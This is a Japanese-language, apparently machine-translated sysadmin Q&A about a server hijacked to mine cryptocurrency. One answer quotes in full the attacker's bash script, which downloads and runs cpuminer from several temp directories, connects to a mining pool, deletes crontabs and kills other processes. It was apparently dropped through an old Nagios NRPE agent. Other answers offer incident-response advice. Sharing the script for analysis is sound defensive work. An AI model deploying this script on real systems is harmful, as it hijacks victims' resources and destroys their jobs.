専用サーバーを運営していますが、最近CPU使用量が高いことを発見してプロセスを確認してみました。誰か(ミックアカウント)が私のサーバーで採掘をしているようです。どうやってこれができますか?プロセスは次のとおりです。このアカウントを停止しました。また何をすべきですか?
25516 mick 30 10 778m 6728 1132 S 740.5 0.2 8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B
答え1
サーバーサイドスクリプト(PHP、Rubyなど)を許可するWebサーバーを実行している場合は、これを簡単に実行できます。
ユーザーがする必要があるのは、スクリプトを生成し、ファイルをダウンロードして/tmp/sh64
実行することだけです。 Web スクリプトには外部プログラムを実行する機能が必要な場合が多いため、この種のアクティビティを防止することは困難です。
そのmick
アカウントがユーザーのWebスクリプトの実行に使用されたアカウントと同じであれば、ハッキングされていません。 1人のユーザーだけが自分のアカウントを悪用しています。
この動作を回避するには、さまざまな方法で回避できます。外部プログラムの呼び出しを防ぐことができます。または、長期実行プログラム(60秒以上実行されるプログラムなど)の終了などの操作を実行できます。
設定の詳細がわからない場合は、最善の措置を決定するのが難しい場合があります。
答え2
同様の問題があります。彼らは古いバージョンのNagios NRPEエージェントを利用して、wget
SourceforgeのBitcoin Miner(NRPEデーモンを有効にするdont_blame_nrpe
)をインストールして設定するスクリプトを実行しました。私のコンピュータで継続的な試みが発生したことを示す何も見つかりませんでした。
ビットコイン採掘機をインストールして設定するためのスクリプトは次のとおりです。
#!/bin/bash
miner_path="/tmp/tester"
miner_path2="/tmp/var/tester"
miner_path3="/dev/shm/tester"
stratum="stratum+tcp://multi1.wemineall.com:80"
worker="weedee.1"
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
name="work.sh"
if [ -z "$myproc" ]
then
system=`uname -a`
i686=`echo $system|grep i686`
if ! [ -z "$i686" ]
then
url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664640&use_mirror=netcologne"
else
url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664665&use_mirror=netcologne"
fi
dll=`wget -q -O $miner_path $url;tar zxvf $miner_path -C /var/tmp/;mv /var/tmp/minerd $miner_path;chmod +x $miner_path`
spwn=`$miner_path -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
#Failed in /var/tmp/ trying in /dev/shm
if [ -z "$myproc" ]
then
#dll=`wget $url -O $miner_path2;chmod +x $miner_path2`
dll=`wget -q -O $miner_path2 $url;tar zxvf $miner_path2 -C /tmp/;mv /tmp/minerd $miner_path2;chmod +x $miner_path2`
spwn=`$miner_path2 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
fi
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
#Failed in /tmp/ trying in /tmp
if [ -z "$myproc" ]
then
dll=`wget -q -O $miner_path3 $url;tar zxvf $miner_path3 -C /dev/shm/;mv /dev/shm/minerd $miner_path3;chmod +x $miner_path3`
spwn=`$miner_path3 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
fi
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
crontab -r
fi
crontab -r
rm -rf /var/tmp/*.sh
kill -9 `ps x | grep -v nagios | grep -v nrpe | grep -v PID | grep -v $name | grep -v tester | grep -v grep | awk '{print $1}'
スクリプトは完全にNagiosユーザーとして実行されるため、rootアクセスは必要ありません。
答え3
あなたのシステムは間違いなく破損しているか、最悪の場合はハッキングされました。同様の採掘装置が設置されているという他の話もあります。
私はあなたのシステムが破損しているという立場をとり、そこにあるすべての重要な項目を起動し、まだバックアップしていない場合はバックアップできるようにします。
分析する
彼らがどのように侵入したのか疑問に思ったら、インストールされたサービス(Web、MySQLなど)の完全なリストを確認し、誰かが高い権限を取得できるようにするアクティブな脆弱性があるかどうかを確認したいと思います。
すべてのネットワークベースのアプリケーションのネットワークサポートから始めましょう。通常、これらのアプリケーションは、追加のアプリケーションをインストールするためにバッファをオーバーフローし、Web サーバーのスタックを変更できます。
実際、この種の損傷は別々の事故である可能性があるため、システムを完全に復元/設定するのに時間を費やすことなく、問題のあるソフトウェアやマルウェアを削除するだけで十分です。
このシステムがVPSベースのイメージを使用して構築されている場合は、パッチを適用することがすべての顧客にとって最も利益になると思われるので、プロバイダと協力します。
単純なネットワークスタックの損傷以上
ボックス内のすべての項目は慎重に調査する必要があり、本質的に信頼できませんが、時間をかけて攻撃者がログインしている場所を見つけることができないかどうかを見てみましょう。彼らは、システムが破損した後にシステムに追加されたSSHアカウントを使用してログインした可能性があります。
これは、分析に数日かかるのが難しい作業かもしれません。特に、作業に役立つボックスに含まれているツールのどれも信頼できない場合にはさらにそうです。少なくともこの特定のメディアを介して将来の再発のリスクを減らすために、システムがどのように損傷したかを理解するのに時間を費やすことをお勧めします。
これが本番タイプの問題ではない場合、実際にシステムがどのように損傷する可能性があり、潜在的な攻撃者がアクセスを「悪用する」ことができるかについての洞察を得るための素晴らしい学習機会です。
薄暗い希望?
システムは採掘目的で使用されているため、自動化されたスクリプトツールセットを使用した可能性があります。これは、ボットマイナーを設定するのに十分なシステムをハックするのにかなりの時間がかかるように見えたからです。このようなツールを使用するとき、彼らはしばしば正しく構成されておらず、足場を解放し、ペイロード(マイニングソフトウェア)を渡すために最小限の作業しか行おうとしないので、幸運なので、彼らからさらなる洞察を得ることができます。